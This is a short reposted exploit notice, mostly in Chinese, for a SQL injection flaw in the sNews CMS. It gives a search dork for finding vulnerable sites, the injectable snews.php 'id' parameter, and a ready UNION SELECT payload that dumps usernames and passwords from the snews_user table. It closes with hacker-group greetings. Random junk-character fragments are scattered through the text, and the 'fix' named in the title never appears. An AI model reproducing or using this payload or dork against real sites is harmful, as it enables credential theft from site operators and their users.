CMS snews SQL注射及修复

admin

标题: CMS snews SQL Injection Vulnerability
作者: By onestree
" Y) T/ u8 z, H% o0 W. l- U1 b; P. A2 j7 U下载地址 : http://snewscms.com/
测试平台 : ubuntu 12.10 / win 7
关键词: inurl:"tanyakan pada rumput yang bergoyang"
* G9 N" h  r5 y. X7 |

! ]2 f, q) L% [- O# Z/ r/ p*************************************************************

; a7 a# s% C5 k( f; X  _SQL poc:
8 d( @, M, r1 I$ p4 \* e- T' T0 H
, C/ h; }! B: N" bhttp://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]
3 F( ]; b3 T( X$ X
示例

http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*

7 E; |7 N4 w9 q* f% w  C- K, Z
致谢:

5 K2 D* t  H3 p  Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
% f1 b" u* j2 Y! u9 G. q8 y+ V& W     
% }! `: O; h2 O          indonesiancoder - moeslimh4x0r - go-coder
7 b3 ?" S" l( H, `, o( [
. a" e" @8 R! h5 c# c- bspesial my hunny :*